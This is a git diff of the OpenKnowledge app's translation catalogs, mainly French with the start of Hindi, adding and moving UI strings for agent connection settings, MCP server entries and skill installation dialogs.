src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "Connexions MCP"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "La réparation automatique de MCP a échoué pour {failures}"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "Modifiez la cible du lien, l'ancre et le libellé affiché."msgid "More"msgstr "Plus"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "Plus d'informations"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "D'autres requêtes ont été bloquées."@@ -8537,7 +8632,7 @@ msgstr "Aucun agent n'est encore configuré — choisissez-en un dans le menu d'msgid "no agents — saved, not installed anywhere"msgstr "aucun agent — enregistrées, installées nulle part"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "Aucun agent disponible."@@ -8546,7 +8641,7 @@ msgstr "Aucun agent disponible."msgid "No agents enabled"msgstr "Aucun agent activé"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "Aucun agent ne correspond à votre recherche."@@ -8910,11 +9005,12 @@ msgstr "Sans réponse"msgid "Not attached to desktop bridge"msgstr "Non connecté au pont de bureau"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "Non disponible sur cette plateforme"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "Non connecté"@@ -8922,6 +9018,10 @@ msgstr "Non connecté"msgid "Not connected to GitHub."msgstr "Non connecté à GitHub."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "Non détecté sur cette machine"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "Pas terrible"@@ -8932,7 +9032,7 @@ msgstr "Pas dans la barre latérale"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "Non installé"@@ -9065,15 +9165,15 @@ msgstr "Sur le texte sélectionné dans <0>{address}</0>"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "Sur l'index racine, okf_version est écrit sous forme de chaîne entre guillemets comme \"0.2\". Non cité, YAML le lit comme un nombre et 0.10 devient silencieusement 0.1."-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "Encore une étape : activez-le dans Cursor → Settings → Tools & MCP (Cursor laisse les serveurs de projet désactivés tant que vous ne les activez pas)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "Encore une étape : activez-le dans {agent} → Settings → Tools & MCP ({agent} laisse les serveurs de projet désactivés tant que vous ne les activez pas)."-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "Encore une étape : exécutez <0>claude</0> dans ce projet et approuvez OpenKnowledge une fois."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "Encore une étape : exécutez {agent} dans ce projet et approuvez OpenKnowledge une fois."#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "Ouvrez d'abord un projet."msgid "Open a project to edit."msgstr "Ouvrez un projet pour le modifier."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "Ouvrez un projet pour gérer ses connexions aux outils IA."-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "Ouvrez un seul fichier markdown — sans configurer de projet."@@ -9506,6 +9602,10 @@ msgstr "OpenKnowledge a recherché des conflits"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge a vérifié le projet"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge n'a pas trouvé cet agent sur cette machine."+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge n’a pas pu lire terminal.shell dans .ok/local/config.yml. Un shell Windows disponible sera utilisé à la place."@@ -9534,6 +9634,18 @@ msgstr "OpenKnowledge a supprimé {subject}"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge a supprimé un document"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "Compétence de découverte OpenKnowledge"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge ne reconnaît pas cette entrée et ne peut pas la remplacer en toute sécurité dans le format de ce fichier."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge ne reconnaît pas cette entrée. L'activer la remplacera."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge a modifié {subject}"@@ -9578,6 +9690,10 @@ msgstr "OpenKnowledge utilise un compte GitHub fourni par la CLI gh. Il n'y a pamsgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge utilise ce compte GitHub."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge n'a pas touché à ce fichier, car il n'a pas pu l'analyser en toute sécurité. Corrigez le fichier à la main, puis réessayez."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge a listé les compétences installées"@@ -10289,10 +10405,6 @@ msgstr "projet"msgid "Project"msgstr "Projet"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "La gestion des outils IA du projet n'est disponible que dans l'application de bureau OpenKnowledge."-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "Détails du projet"@@ -10301,6 +10413,10 @@ msgstr "Détails du projet"msgid "Project folder created, but git init failed. Try again."msgstr "Dossier de projet créé, mais git init a échoué. Réessayez."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "Serveur MCP du projet"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "Nom du projet"@@ -10314,6 +10430,10 @@ msgstr "Les plugins de projet constituent la norme de rédaction de votre projetmsgid "Project root"msgstr "Racine du projet"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "Compétence du projet"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "Modèles du projet"@@ -10468,6 +10588,21 @@ msgstr "Envoyé {pushed}"msgid "Pushing"msgstr "Push en cours"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "Place la compétence de découverte OpenKnowledge dans le dossier de compétences global de {agent}, pour qu'il puisse trouver OpenKnowledge dans n'importe quel projet."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "Place la compétence OpenKnowledge dans le dossier de compétences de {agent} pour ce projet, pour que ses modifications restent attribuées."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "Place la compétence OpenKnowledge dans le magasin central de compétences que {agent} lit."+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "Casse-tête…"@@ -10586,6 +10721,10 @@ msgstr "Projet récent"msgid "Recently opened"msgstr "Ouverts récemment"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "Recommandé"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "Compétence d'agent recommandée"@@ -10721,6 +10860,8 @@ msgstr "Contrôle à distance"msgid "Remote skill source"msgstr "Source de compétence distante"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "Retirer {patternText}"msgid "Remove {projectName} from recent projects"msgstr "Retirer {projectName} des projets récents"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "Retirer {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "Retirer {tag}"@@ -10773,6 +10918,10 @@ msgstr "Échec du retrait : {error}"msgid "Remove field {field}"msgstr "Retirer le champ {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "Retirer pour les deux"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "Retirer le lien"msgid "Remove OpenKnowledge from {0}"msgstr "Retirer OpenKnowledge de {0}"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "Supprimer OpenKnowledge de {0} ?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "Supprimer OpenKnowledge ?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "Retirer la propriété"@@ -10935,7 +11093,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "Réouverture de « {docName} » avec un cache de collaboration local neuf."#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "intégration MCP de {names} réparée"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10951,6 +11109,10 @@ msgstr "Remplacer {keyName}"msgid "Replace all matches"msgstr "Remplacer toutes les occurrences"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "Remplacer et enregistrer"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "Remplacer l'occurrence actuelle"@@ -10983,6 +11145,10 @@ msgstr "Remplacer ces copies par des liens symboliques vers la source ?"msgid "Replace these symlinks with independent copies?"msgstr "Remplacer ces liens symboliques par des copies indépendantes ?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "Remplace l'entrée \"open-knowledge\" existante dans ce fichier. Les autres serveurs du fichier ne sont pas modifiés."+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "Récupération…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "Réessayer"@@ -11379,6 +11545,7 @@ msgstr "Intégration HTML en bac à sable — écrivez du HTML, voyez l'aperçumsgid "Save"msgstr "Enregistrer"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "Enregistrer les modifications"@@ -11429,6 +11596,7 @@ msgstr "Enregistré avec le projet pour votre équipe."msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "Enregistre le fichier dans <0>~/Downloads/openknowledge.skill</0> et ouvre l'application Claude Desktop. Nécessite Node.js ou Bun dans votre PATH."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "Enregistrement"@@ -11482,7 +11650,7 @@ msgstr "Rechercher « {semanticSubmitQuery} » par le sens"msgid "Search ({searchShortcutLabel})"msgstr "Rechercher ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "Rechercher des agents"@@ -12066,8 +12234,7 @@ msgstr "Afficher {0} de plus"msgid "Show {hidden} more"msgstr "Afficher {hidden} de plus"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "Afficher {hiddenCount} de plus"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "Afficher dans l'Explorateur"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "Afficher moins"@@ -12341,11 +12507,6 @@ msgstr "Compétences de {0}/{1}."msgid "Skills from OpenKnowledge"msgstr "Compétences d'OpenKnowledge"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "Les compétences ont été déplacées vers Studio de compétences."-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "Compétences réaffectées"@@ -12501,6 +12662,7 @@ msgstr "Une erreur s'est produite lors de l'envoi de votre retour. Veuillez réemsgid "Something went wrong starting the terminal."msgstr "Une erreur s'est produite au démarrage du terminal."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "Une erreur s'est produite. Veuillez réessayer."@@ -13074,7 +13236,6 @@ msgstr "Modèles"msgid "Templates available"msgstr "Modèles disponibles"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "Modèles disponibles"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "La demande de téléchargement de {0} a expiré."msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "Le plugin {0} sert ces compétences depuis son cache — OK ne les modifie ni ne les met à jour."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "L'application de bureau {agent} ignore cette configuration de projet ; seule la CLI {agent} la lit."+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "Le dossier {editor} contient une autre version de cette compétence. Choisissez laquelle l'emporte, ou conservez les deux sous des noms différents. Ce que vous remplacez est sauvegardé au préalable."@@ -13452,6 +13617,14 @@ msgstr "Le dossier source lui-même ne bouge pas."msgid "The template's filename (without `.md`)."msgstr "Le nom de fichier du modèle (sans `.md`)."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "Les lignes terminal et bureau de {label} partagent une même configuration, donc en connecter une les connecte toutes les deux."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "Les lignes terminal et bureau de {label} partagent une même configuration, donc la supprimer les déconnecte toutes les deux."+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "Le terminal est désactivé pour ce projet. Réactivez-le pour exécuter des commandes ici."@@ -13608,6 +13781,14 @@ msgstr "Cet agent ne propose pas de commandes slash"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "Cet agent ne propose pas de commandes slash — votre message sera envoyé comme texte brut"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "Cet agent ne permet pas à OpenKnowledge de le configurer à votre place. Son guide de configuration indique les étapes manuelles."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "Cet agent n'a pas encore de fichier de ce type sur cette machine. Ouvrez-le une fois, puis vérifiez à nouveau."+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "Cet agent n'a pas encore annoncé ses commandes"@@ -13651,6 +13832,14 @@ msgstr "Ce commentaire porte sur toute la propriété"msgid "This conflict is resolved."msgstr "Ce conflit est résolu."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "La configuration a échoué, car l'entrée de serveur MCP nécessaire n'a pas été écrite."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "Cela supprime les entrées du serveur MCP et les fichiers de compétences ci-dessous. L'agent perdra l'accès à vos documents jusqu'à ce que vous l'ajoutiez à nouveau."+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "Ce document"@@ -13683,6 +13872,10 @@ msgstr "Ce document a été supprimé"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "Ce point de terminaison a ignoré la taille de vecteur que vous avez configurée. Supprimez <0>search.semantic.dimensions</0> pour utiliser la taille propre au modèle."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "Cette entrée a changé après son écriture par OpenKnowledge. L'activer la remplace."+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "Ce champ porte des mots-clés de schéma supplémentaires que l'éditeur n'affiche pas — ils sont préservés à l'enregistrement."@@ -13735,6 +13928,10 @@ msgstr "Ce dossier est un clone de {actualOwner}/{actualRepo}, et non de {expectmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "Ce dossier est un clone de {expectedOwner}/{expectedRepo} sur {actualHost}, et non sur {expectedHost}. Choisir un dossier cloné depuis {expectedHost} ?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "Ce dossier est aussi celui de {alsoAffects}."+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "Ce dossier est vide."@@ -13793,6 +13990,7 @@ msgstr "cet élément"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "Cela ressemble à la racine d'un disque (par ex. C:\\). Créer un projet ici analysera tout le disque."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "Celui-ci doit voir vos fichiers, pas seulement le document ouvert, afinmsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "Celle-ci apprend à vos outils IA à travailler avec OpenKnowledge. Elle vit dans le dossier du projet, elle s'installe donc pour toute personne qui ouvre le projet."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "Cette option ne peut pas être modifiée automatiquement."+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "Ce pack est déjà configuré ici."@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "Ceci retire définitivement {path}. Les agents qui référencent ce modèle par son nom échoueront jusqu'à ce qu'il soit recréé ou remplacé par un modèle d'un dossier parent."#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "Le serveur en cours d'exécution de ce projet ne prend pas en charge l'msgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "Le serveur de ce projet (v{0}) est plus récent que cette application (v{1})."-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "La compétence de ce projet a été déplacée vers Studio de compétences."-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "Ceci retire les paramètres et les intégrations d'OpenKnowledge de votre Mac et des projets que vous sélectionnez ci-dessous, mais conserve votre contenu markdown et les compétences que vous avez écrites."@@ -13963,6 +14161,18 @@ msgstr "Ce réglage est propre à chaque machine et n'est pas partagé avec lesmsgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "Ce réglage est propre à chaque machine et n'est pas partagé avec les collaborateurs. Il nécessite une clé API (définie ci-dessous), sauf si votre point de terminaison est un serveur local qui n'en demande pas."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "Cette configuration est partagée avec {peers} via <0>{path}</0>. La retirer ici la retire aussi pour {peers}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "Cette configuration est partagée avec {peers}, et OpenKnowledge ne peut pas la modifier d'ici. Dissociez d'abord le dossier dans Skills Studio."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "Cette configuration est partagée avec {peers}. La retirer ici la retire aussi pour {peers}."+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "Cette source regroupe plusieurs compétences — choisissez-en une, puis importez."@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "Saisissez pour trouver un document"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "indisponible sur cette plateforme"@@ -14917,8 +15126,7 @@ msgstr "Que doit faire l'IA ? (facultatif)"msgid "What the agent may read, write, and surface."msgstr "Ce que l'agent peut lire, écrire et faire remonter."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "Ce que cette case à cocher change"@@ -14994,6 +15202,10 @@ msgstr "Qui vous êtes, pour que l'agent connaisse votre contexte."msgid "Whole word"msgstr "Mot entier"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "Pourquoi cela demande votre attention"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "Lien wiki"@@ -15031,6 +15243,10 @@ msgstr "Fenêtre"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "Sans outil d'IA connecté, {packSkillCount, plural, one {# compétence} many {# compétences} other {# compétences}} du pack ne seront pas installées."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "Sans la compétence, l'agent fonctionne toujours, mais il perd l'attribution des modifications et l'aperçu en direct."+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "Retour à la ligne"@@ -15078,6 +15294,11 @@ msgstr "Worktrees"msgid "Wrap long lines in the markdown source editor."msgstr "Renvoie les lignes longues à la ligne dans l'éditeur de source markdown."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "Écrit un petit fichier passerelle que {agent} charge depuis ce projet pour atteindre OpenKnowledge."+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "Écrit une entrée dans"@@ -15086,6 +15307,10 @@ msgstr "Écrit une entrée dans"msgid "writing"msgstr "rédaction"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "L'écriture de ce fichier a échoué. Consultez le journal d'OpenKnowledge pour en connaître la raison."+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "L'extension Open Knowledge a été écrite, mais le dossier n'a pas pu être marqué comme approuvé, donc elle ne se chargera pas. Ce fil n'a pas les outils Open Knowledge."@@ -15233,6 +15458,10 @@ msgstr "Votre copie de la branche <0>{shareBranch}</0> contient des modificationmsgid "Your current version is saved first, so this is reversible."msgstr "Votre version actuelle est enregistrée au préalable, cette opération est donc réversible."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "Vos documents ne seront pas modifiés."+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/hi/messages.json b/packages/app/src/locales/hi/messages.jsonindex 6196ce9fd..0c87393c1 100644--- a/packages/app/src/locales/hi/messages.json+++ b/packages/app/src/locales/hi/messages.json@@ -63,7 +63,6 @@"03wKPg": ["एक रिपोर्ट हमें कारण खोजने में मदद करती है। आपकी समीक्षा से पहले कुछ भी नहीं भेजा जाता।"],"04JR6L": ["अपने AI टूल जोड़ें"],"04RA0-": ["सिंक सक्षम करने में विफल — ", ["detail"]],- "04XyCH": [["0"], " में एक प्रबंधित ब्लॉक जोड़ता है"],"05F1GY": ["मूल पाठ हटा दिया गया था। आप इस टिप्पणी को चयनित पाठ पर फिर से रख सकते हैं।"],"05n5wS": ["दस्तावेज़ उल्लेख सुझाव"],"06SZfb": ["टेम्पलेट \"", ["trimmedTitle"], "\" बनाया गया"],@@ -154,6 +153,7 @@"1DahsC": ["सेटिंग खोजें"],"1EcCom": [["keyName"], " मान"],"1FLarN": ["जारी रखने के लिए बताएँ कि आप क्या बनाना चाहते हैं"],+ "1FXL-O": ["इसे सेट अप नहीं किया जा सका क्योंकि इसके लिए ज़रूरी MCP सर्वर एंट्री नहीं लिखी गई।"],"1GhYxC": [["totalPages"], " में से"],"1HBhDS": ["फ़ाइलें चेक आउट की जा रही हैं"],"1J0c0X": [["displayName"], " तक अब भी नहीं पहुँचा जा सका। एक बार और कोशिश करें?"],@@ -231,11 +231,16 @@"2YOwme": ["पुनः आरंभ हुआ — अब v", ["appRuntime"], " चल रहा है।"],"2YZwPB": ["आगे जाने वाले लिंक की प्रतिक्रिया अपेक्षित आकार से मेल नहीं खाई।"],"2Yt22K": ["मूल छिपाएँ"],+ "2gXnCO": ["वैश्विक MCP सर्वर"],"2hYmUH": ["[email protected]"],"2hpdRq": ["पैनल छिपाएँ (", ["panelShortcutLabel"], ")"],"2j1kfc": ["एक मान्य URL डालें (उदाहरण के लिए https://api.openai.com/v1)।"],"2jUGEP": ["स्किल इंस्टॉल की गिनती सार्वजनिक रूप से करें"],"2l293S": ["आप इस फ़ाइल को रीसायकल बिन से पुनर्स्थापित कर सकते हैं।"],+ "2lJAvH": [+ ["label"],+ " की टर्मिनल और डेस्कटॉप पंक्तियाँ एक ही सेटअप साझा करती हैं, इसलिए इसे हटाने पर दोनों का कनेक्शन टूट जाएगा।"+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["हमने इसे टीम के पास दर्ज कर दिया है और आपके लॉग संलग्न कर दिए हैं।"],"2n3oDU": [@@ -322,6 +327,9 @@"3l_cXP": ["चाहें तो देख लें। हमें ठीक यही फ़ाइल मिलती है।"],"3m2GBo": ["दस्तावेज़ खोजे जा रहे हैं"],"3mFsc3": ["रिमोट बदलावों के साथ बहाल करें"],+ "3n7lnE": [+ "इस मशीन पर इस एजेंट की इस प्रकार की कोई फ़ाइल अभी नहीं है। एजेंट को एक बार खोलें, फिर दोबारा जाँचें।"+ ],"3nICSW": ["<0>",["toolList"],@@ -350,6 +358,13 @@"49Mb7P": ["हम जाँच नहीं सके कि Slidev इंस्टॉल है या नहीं। पुनः प्रयास के लिए इस विंडो पर लौटें।"],"4A3Yzu": ["कोड ब्लॉक"],"4BITzH": ["त्रुटि:"],+ "4C2RCg": [+ "यह सेटअप ",+ ["peers"],+ " के साथ साझा किया गया है। इसे यहाँ हटाने पर यह ",+ ["peers"],+ " के लिए भी हट जाता है।"+ ],"4CfgPM": ["प्रोजेक्ट फ़ोल्डर बन गया, पर git init विफल रहा। फिर कोशिश करें।"],"4E9jPa": ["अपना पहला प्रोजेक्ट बनाएँ"],"4EZrJN": ["नियम"],@@ -384,6 +399,7 @@"4niEzY": ["सैंडबॉक्स किया गया HTML एम्बेड — HTML लिखें, रेंडर किया गया पूर्वावलोकन तुरंत देखें।"],"4nj6n8": ["/api/config ने HTTP ", ["code"], " लौटाया"],"4pDZ2N": ["\"", ["0"], "\" को बाकी हर स्थान से हटा दिया गया — इसका स्रोत फ़ोल्डर अब भी लोड होता 